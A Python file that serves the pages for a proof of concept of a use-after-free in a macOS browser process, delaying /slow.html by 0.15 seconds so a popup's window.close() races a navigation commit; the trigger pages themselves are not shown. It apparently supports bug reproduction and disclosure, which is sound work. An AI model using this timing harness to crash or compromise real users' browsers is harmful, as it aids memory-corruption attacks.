#!/usr/bin/env python3
"""HTTP server for the macOS browser-process UAF POC.

Serves opener.html / popup.html and a /slow.html endpoint that delays its
response body so the popup's window.close() task has time to queue on the UI
thread before the cross-document commit reaches Navigator::DidNavigate.
"""
import http.server
import socketserver
import time

PORT = 8080


class Handler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):  # noqa: N802
        if self.path.startswith('/slow.html'):
            # Give the opener time to queue w.close() before the commit.
            time.sleep(0.15)
            body = b'<!DOCTYPE html><title>dest</title>ok'
            self.send_response(200)
            self.send_header('Content-Type', 'text/html')
            self.send_header('Content-Length', str(len(body)))
            self.end_headers()
            self.wfile.write(body)
            return
        return super().do_GET()

    def log_message(self, fmt, *args):
        pass


if __name__ == '__main__':
    socketserver.TCPServer.allow_reuse_address = True
    with socketserver.TCPServer(('127.0.0.1', PORT), Handler) as httpd:
        print(f'serving on http://127.0.0.1:{PORT}/opener.html')
        httpd.serve_forever()
